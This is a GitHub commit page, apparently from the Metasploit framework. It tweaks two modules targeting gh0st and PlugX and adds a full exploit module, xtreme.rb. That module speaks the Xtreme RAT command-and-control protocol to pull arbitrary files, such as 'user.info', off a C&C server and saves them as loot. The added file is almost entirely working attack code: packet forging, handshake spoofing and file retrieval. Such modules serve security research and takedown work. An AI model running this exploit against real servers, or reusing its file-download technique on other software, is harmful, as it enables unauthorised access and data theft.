Skip to content

Commit 055d64d

Browse files
Fixed to modules as suggested from upstream
fixed typo in xtreme.rb when communicating with C&C removed self.class from options on all three modules added line to log path where loot has been stored in xtreme.rb
1 parent 5c8a90a commit 055d64d

File tree

3 files changed

+126
-2
lines changed

3 files changed

+126
-2
lines changed

modules/exploits/windows/misc/gh0st.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ def initialize(info = {})
4444
[
4545
OptString.new('MAGIC', [true, 'the 5 char magic used by the server', 'Gh0st']),
4646
Opt::RPORT(80)
47-
], self.class
47+
]
4848
)
4949
end
5050

modules/exploits/windows/misc/plugx.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ def initialize(info = {})
4646
register_options(
4747
[
4848
Opt::RPORT(13579)
49-
], self.class
49+
]
5050
)
5151
end
5252

Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'zlib'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
include Msf::Exploit::Remote::Tcp
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Xtreme Rat Controller Remote File Download Exploit',
16+
'Description' => %q{
17+
This module exploits an arbitrary file download vulnerability in the Xtreme C&C server
18+
},
19+
'Author' => 'Professor Plum',
20+
'License' => MSF_LICENSE,
21+
'References' =>
22+
[
23+
],
24+
'Platform' => 'win',
25+
'DisclosureDate' => 'Jul 27 2017',
26+
'Targets' =>
27+
[
28+
['Xtreme RAT 3.6', { 'Ver' => '3.6' }],
29+
['Xtreme RAT 3.7', { 'Ver' => '3.7' }]
30+
],
31+
'Privileged' => false,
32+
'DefaultTarget' => 1))
33+
34+
register_options(
35+
[
36+
Opt::RPORT(80),
37+
OptString.new('TARGETFILE', [true, 'Target file to download', 'user.info'])
38+
]
39+
)
40+
end
41+
42+
@delm = "\xc2\x00\xaa\x00\xc2\x00\xaa\x00\xc2\x00\xaa\x00#\x00#\x00#\x00\xe2\x00\" a\x01\xe2\x00\" a\x01\xe2\x00\" a\x01".force_encoding('utf-16le')
43+
@password = ''
44+
@conid = ''
45+
46+
def validate(b)
47+
if b != "X\r\n"
48+
print_status(b.inspect)
49+
return false
50+
end
51+
true
52+
end
53+
54+
def check
55+
connect
56+
sock.put("myversion|#{target['Ver']}\r\n")
57+
if validate(sock.recv(3))
58+
return Exploit::CheckCode::Appears
59+
end
60+
Exploit::CheckCode::Safe
61+
end
62+
63+
def make_string(cmd, msg)
64+
pp = (cmd + @delm + msg)
65+
pack = Zlib::Deflate.deflate(pp)
66+
return @password + [pack.size, 0].pack('<II') + pack
67+
end
68+
69+
def read_string(sock)
70+
d = sock.recv(16)
71+
if d.size < 16
72+
print_status("Didn't receive full packet!")
73+
return
74+
end
75+
@password = d[0..7]
76+
size = d[8..12].unpack('<I')[0]
77+
d = ''
78+
while d.size < size
79+
d += sock.get_once(size - d.size)
80+
end
81+
if d.size != size
82+
print_status("Bad response! #{d.size} != #{size}")
83+
return
84+
end
85+
msg = Zlib::Inflate.inflate(d).force_encoding('utf-16le')
86+
cmd, data = msg.split(@delm)
87+
# print_status("#{cmd.inspect} | #{data.inspect}")
88+
if 'maininfo'.encode('utf-16le') == cmd
89+
@conid = data
90+
end
91+
if 'updateserverlocal'.encode('utf-16le') == cmd
92+
fsize = data.encode('binary').to_i
93+
fdata = ''
94+
while fdata.size < fsize
95+
fdata += sock.get_once(fsize - fdata.size)
96+
end
97+
print_status("Received file #{datastore['TARGETFILE']}!")
98+
# print_status(fdata.inspect)
99+
path = store_loot('xtremeRat.file', 'text/plain', datastore['RHOST'], fdata, datastore['TARGETFILE'], 'File retrieved from Xtreme C2 server')
100+
print_good("File saved in: #{path}")
101+
end
102+
end
103+
104+
def exploit
105+
print_status("Trying target #{target.name}...")
106+
107+
connect
108+
sock.put("myversion|#{target['Ver']}\r\n")
109+
unless validate(sock.get_once(3))
110+
print_status('Server did not Ack hello')
111+
return
112+
end
113+
read_string(sock)
114+
115+
print_status('Sending request')
116+
sock.put(make_string('newconnection|'.encode('utf-16le') + @conid + @delm + 'updateserverlocal'.encode('utf-16le'), datastore['TARGETFILE'].encode('utf-16le')))
117+
unless validate(sock.get_once(3))
118+
print_status('Server did not Ack message')
119+
return
120+
end
121+
read_string(sock)
122+
disconnect
123+
end
124+
end

0 commit comments

Comments
 (0)